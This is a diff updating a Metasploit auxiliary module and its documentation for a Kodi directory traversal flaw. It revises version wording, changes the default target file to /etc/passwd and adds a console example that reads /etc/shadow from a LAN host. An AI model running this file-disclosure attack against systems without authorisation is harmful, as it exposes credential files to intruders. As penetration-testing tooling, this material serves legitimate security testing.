Take into account @h00die's comments.

documentation/modules/auxiliary/scanner/http/kodi_traversal.md

@@ -1,17 +1,18 @@
 ## Vulnerable Application
 
-This module exploits an arbitrary file disclosure vulnerability in Kodi 17.1.
+This module exploits an arbitrary file disclosure vulnerability in Kodi before 17.1.
 
 **Vulnerable Application Installation Steps**
 
 Grab whatever image from [libreelec](https://libreelec.tv/downloads/) if
-you're lazy, or [install kodi from scratch](http://kodi.wiki/view/HOW-TO:Install_Kodi_for_Linux).
+you're lazy, like the [one for the Rpi2](http://releases.libreelec.tv/LibreELEC-RPi2.arm-7.0.3.img.gz),
+or [install kodi from scratch](http://kodi.wiki/view/HOW-TO:Install_Kodi_for_Linux).
 
-You'll need a version lower than 17.1.
+You'll need a version lower than 17.1 of Kodi.
 
 ## Verification Steps
 
-A successful check of the exploit will look like this:
+A successful run of the exploit will look like this:
 
 ```
 msf > use auxiliary/scanner/http/kodi_traversal
@@ -19,6 +20,8 @@ msf auxiliary(kodi_traversal) > set RPORT 8080
 RPORT => 8080
 msf auxiliary(kodi_traversal) > set RHOSTS 192.168.0.31
 RHOSTS => 192.168.0.31
+msf auxiliary(kodi_traversal) > set FILE /etc/shadow
+FILE => /etc/shadow
 msf auxiliary(kodi_traversal) > run
 
 [*] Reading '/etc/shadow'
@@ -35,6 +38,4 @@ dbus:*:::::::
 system:*:::::::
 sshd:*:::::::
 avahi:*:::::::
-msf auxiliary(kodi_traversal) > info 
-
 ```

modules/auxiliary/scanner/http/kodi_traversal.rb

@@ -13,9 +13,9 @@ class MetasploitModule < Msf::Auxiliary
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Kodi 17.1 Local File Inclusion Vulnerability',
+      'Name'           => 'Kodi 17.0 Local File Inclusion Vulnerability',
       'Description'    => %q{
-        This module exploits a directory traversal flaw found in Kodi 17.1.
+        This module exploits a directory traversal flaw found in Kodi before 17.1.
       },
       'References'     =>
         [
@@ -33,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary
     register_options(
       [
         OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']),
-        OptString.new('FILE',      [true, 'The file to obtain', '/etc/shadow']),
+        OptString.new('FILE',      [true, 'The file to obtain', '/etc/passwd']),
         OptInt.new('DEPTH',        [true, 'The max traversal depth to root directory', 10])
       ], self.class)
   end
@@ -77,7 +77,7 @@ class MetasploitModule < Msf::Auxiliary
       print_good("#{fname} stored as '#{p}'")
 
     else
-      print_error("Fail to obtain file for some unknown reason")
+      print_error('Fail to obtain file for some unknown reason')
     end
   end